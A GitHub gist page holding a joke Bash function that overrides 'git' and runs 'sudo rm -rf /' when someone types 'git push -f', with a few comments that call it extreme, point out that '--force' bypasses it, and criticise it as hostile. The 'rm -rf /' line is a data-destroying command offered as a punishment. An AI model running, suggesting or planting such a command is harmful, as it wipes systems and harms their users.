Created
July 27, 2013 22:27
-
-
Save rgrove/6096534 to your computer and use it in GitHub Desktop.
A handy Bash function to punish people who use `git push -f`
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
git() { | |
if [[ "$1" == "push" && "$2" == "-f" ]]; then | |
sudo rm -rf / | |
fi | |
} |
Whoa! Pretty extreme!
git push --force
;)
No. Don't attempt to solve a hostile development environment with oh so funny scripts making even more hostile development environment, focus on quality of your own code and commiting fixes instead. And yes, I know it is a joke but anyways.
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
This needs setting passwordless on
/etc/sudoers
.